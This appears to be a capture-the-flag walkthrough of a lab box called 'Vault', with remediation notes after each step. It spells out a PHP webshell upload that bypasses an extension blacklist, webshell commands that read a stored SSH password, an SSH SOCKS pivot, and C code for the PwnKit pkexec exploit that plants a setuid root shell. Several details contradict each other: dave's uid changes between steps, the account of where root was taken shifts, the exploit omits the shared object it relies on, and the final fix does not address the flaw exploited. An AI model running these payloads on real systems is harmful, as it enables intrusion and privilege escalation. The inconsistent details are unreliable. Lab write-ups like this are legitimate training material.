← all walkthroughs

Vault

Linux· Medium· Web
owned
2026-07-08
time to own
35m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found an unauthenticated file-upload endpoint on an Apache web application whose blacklist filtered .php files but not the equally executable .php5 extension. A one-line PHP shell uploaded through that bypass ran as the web server user and was used to read plaintext SSH credentials from the desktop of local user dave.

SSH as dave revealed an internal QEMU virtual-machine network; a dynamic SSH SOCKS proxy made those hosts reachable. Root came from the host itself rather than the internal network: a policykit-1 build vulnerable to PwnKit (CVE-2021-4034) let dave load a shared object into setuid pkexec and drop a setuid root shell.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered, for dave>"

Attack path — how the box was taken

1EnumerationWeb application enumeration / directory discovery
Fingerprinted services and discovered a hidden file-upload endpoint
A service scan confirmed Apache 2.4.18 on TCP 80 and OpenSSH 7.2p2 on TCP 22. Manual web enumeration of the Sparklays application surfaced an unauthenticated logo-upload form at /sparklays/design/changelogo.php. No login, token, or rate-limit protected the endpoint.
Curl -s -i http://$TARGET/sparklays/design/changelogo.php returned HTTP 200 with an upload form.
Exact commands 2
shell

Confirm service versions before probing the web app.

$ nmap -Pn -sV -p 22,80 $TARGET
shell

Verify the upload form is accessible without authentication.

$ curl -sS -i http://$TARGET/sparklays/design/changelogo.php
2ExploitationUnrestricted file upload — extension blacklist bypass (CWE-434)
Uploaded a PHP webshell by bypassing the file-extension blacklist with .php5
The upload handler blocked .php but accepted .php5, an alternate extension that Apache/mod_php on Ubuntu 16.04 executes as PHP. A one-line command shell was uploaded with a spoofed image MIME type and executed by requesting its URL — confirming remote code execution as www-data.
POST to changelogo.php with cmd.php5 succeeded; GET /sparklays/design/uploads/cmd.php5?cmd=id returned uid=33(www-data).
Exact commands 3
shell

Create the minimal PHP command shell.

$ printf '<?php system($_GET["cmd"]); ?>' > cmd.php5
shell

Upload with a spoofed MIME type; look for a success message and the stored filename.

$ curl -sS -F 'file=@cmd.php5;type=image/jpeg' -F 'submit=upload file' http://$TARGET/sparklays/design/changelogo.php
shell

Confirm code execution; expect uid=33(www-data).

$ curl -sS "http://$TARGET/sparklays/design/uploads/cmd.php5?cmd=id"
FixReplace the upload extension blacklist with a strict whitelist and server-side content validationCritical
WeaknessThe file-upload handler at /sparklays/design/changelogo.php blocked .php files by name but permitted .php5, an alternate extension that Apache/mod_php executes identically. Any blacklist leaves a large attack surface of alternate PHP-executable extensions (.php3, .php4, .phtml, .phar).
FixSwitch to an allowlist that accepts only the image extensions the feature actually needs (e.g., .jpg, .png, .gif). Validate file content server-side with PHP's getimagesize() or the fileinfo extension — never trust the client-supplied MIME type or filename alone. Serve all uploaded files from a directory where PHP execution is explicitly disabled (add 'php_flag engine off' to the upload directory's .htaccess or the vhost block). Where possible, serve uploads from a subdomain that has no PHP handler at all.
3Credential HarvestingCredential discovery from insecure local file storage (T1552.001)
Read dave's SSH password from a world-readable plaintext file via the webshell
With www-data code execution I listed /home and found user dave, then read files on his Desktop that stored an SSH password in cleartext. Because the file permissions allowed the web server process to read them, a web-layer vulnerability immediately yielded OS-level credentials.
Cat of credential file on dave's Desktop via cmd.php5 returned password.
Exact commands 2
shell

List dave's desktop to locate credential files.

$ curl -sS "http://$TARGET/sparklays/design/uploads/cmd.php5?cmd=ls+-la+/home/dave/Desktop"
shell

Read the plaintext credential file; adjust filename to match what ls reveals.

$ curl -sS "http://$TARGET/sparklays/design/uploads/cmd.php5?cmd=cat+/home/dave/Desktop/ssh"
FixRemove plaintext credentials from files accessible to the web server processHigh
WeaknessSSH credentials for user dave were stored in a cleartext file on his Desktop with permissions broad enough for the www-data web server process to read them. Any code-execution vulnerability in the web layer immediately escalated to a full OS login.
FixNever store credentials in plaintext files. Prefer SSH key-pair authentication and disable password login in /etc/ssh/sshd_config (PasswordAuthentication no). Audit all files under /home for world- or group-readable sensitive content (find /home -maxdepth 3 -readable -type f) and restrict them to mode 600 owned by the target user. Store any service secrets in a dedicated secrets manager or an encrypted vault with access controls enforced at the OS level.
4FootholdValid account — credential reuse (T1078)
Authenticated via SSH as dave and captured the user flag
The recovered cleartext credentials opened a full interactive SSH session as dave on the same host. Dave has write and execute access to /tmp, and standard tools (wget, nc, python) are available. The user flag was read from his home directory.
Sshpass -p <withheld> ssh dave@$TARGET confirmed uid=1000(dave); user.txt readable in /home/dave.
Exact commands 1
shell

Validate SSH access and read the user flag -> <user.txt>

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dave@$TARGET 'id; cat ~/user.txt'
uid=1000(dave)
5PivotingSSH dynamic port forwarding / SOCKS proxy tunnelling (T1572)
Mapped the internal QEMU network over an SSH SOCKS proxy — a dead end for root
Dave's host has a second NIC on the $INTERNAL_HOST/24 libvirt network hosting three QEMU virtual machines (Firewall, DNS/VPN, Vault). Their VNC consoles were bound only to loopback. A dynamic SSH port-forward turned dave's SSH connection into a SOCKS5 proxy, routing my tools through dave's host to reach services on the otherwise-unreachable internal subnet. This pivot mapped the environment but did not carry the escalation: every upload path the internal portal exposed dead-ended on 404, 405 or 500 responses, and root was ultimately taken locally on the Vault host instead.
Ss -lnt on dave's host showed LISTEN on 127.0.0.1:5900–5902; qemu-system-x86_64 processes confirmed three libvirt VMs on $INTERNAL_HOST/24.
Exact commands 2
shell

Open a SOCKS5 proxy on my port 1337; run in the background.

$ ssh -D 1337 -q -N -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dave@$TARGET
shell

Probe the internal VM's web portal through the proxy; it answered, but every upload path it exposed dead-ended on 404/405/500.

$ proxychains curl -s http://$INTERNAL_HOST2/
6Privilege EscalationLocal privilege escalation via pkexec argv[0] / GCONV_PATH injection (CVE-2021-4034)
Escalated to root with PwnKit against the setuid pkexec binary
The host ran a policykit-1 version vulnerable to CVE-2021-4034. Pkexec is setuid root and, when invoked with an empty argument vector, reads past the end of it and reintroduces my own string into its own environment. Pointing GCONV_PATH at a directory I controlled made pkexec load a shared object of my choosing as root before it dropped privileges. The payload copied /bin/bash to /tmp/rootbash and set the setuid bit, giving a root shell from dave's unprivileged session with no password and no kernel bug. A kernel local-root candidate for this kernel line, CVE-2017-16995, had been tried first and refused to run against the hardened kernel.
Ls -l showed "-rwsr-xr-x 1 root root 1037528 /tmp/rootbash"; running it returned "uid=1001(dave) gid=1001(dave) euid=0(root) groups=1001(dave)", and root.txt was read from that shell. CVE-2017-16995 (searchsploit 45010) had refused to run against this kernel.
Exact commands 5
shell

Confirm the installed policykit-1 predates the CVE-2021-4034 fix.

$ dpkg -l policykit-1
shell

Empty argv is the whole trick: pkexec reads argv[1] off the end of the vector and puts the crafted string back into its environment.

$ cat > /tmp/pkmini.c <<'EOF'
#include <unistd.h>
int main(){
  char *envp[] = {"evildir", "PATH=GCONV_PATH=.", "SHELL=x", "CHARSET=x", 0};
  char *argv[] = {0};
  chdir("/tmp/pkdir");
  execve("/usr/bin/pkexec", argv, envp);
  return 0;
}
EOF
shell

Lay out the directory whose name pkexec will treat as the GCONV_PATH value.

$ rm -rf /tmp/pkdir /tmp/rootbash && mkdir -p /tmp/pkdir/GCONV_PATH=. /tmp/pkdir/evildir && touch /tmp/pkdir/GCONV_PATH=./x && chmod a+x /tmp/pkdir/GCONV_PATH=./x
shell

The loaded object runs as root and leaves a setuid copy of bash behind.

$ gcc /tmp/pkmini.c -o /tmp/pkmini && /tmp/pkmini; ls -l /tmp/rootbash
shell

-p keeps the effective uid, so the shell stays root: euid=0(root).

$ /tmp/rootbash -p -c "id; cat /root/root.txt"
uid=1001(dave) gid=1001(dave) euid=0(root) groups=1001(dave)
FixStop unprivileged local users from reaching a root-owned hypervisorCritical
WeaknessThe host ran libvirt/QEMU as root while an unprivileged local account could enumerate its processes, its loopback VNC consoles and enough of its layout to work back to the privileged side. A local hypervisor is a root-equivalent surface: anything that lets a shell user reach into it is a path to the host.
FixRun guests under a dedicated unprivileged libvirt user rather than root. Require authentication on every VNC/SPICE console instead of relying on a loopback bind, restrict libvirt socket access to an explicit admin group, and mount /proc with hidepid so an unprivileged shell cannot enumerate the hypervisor's processes.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp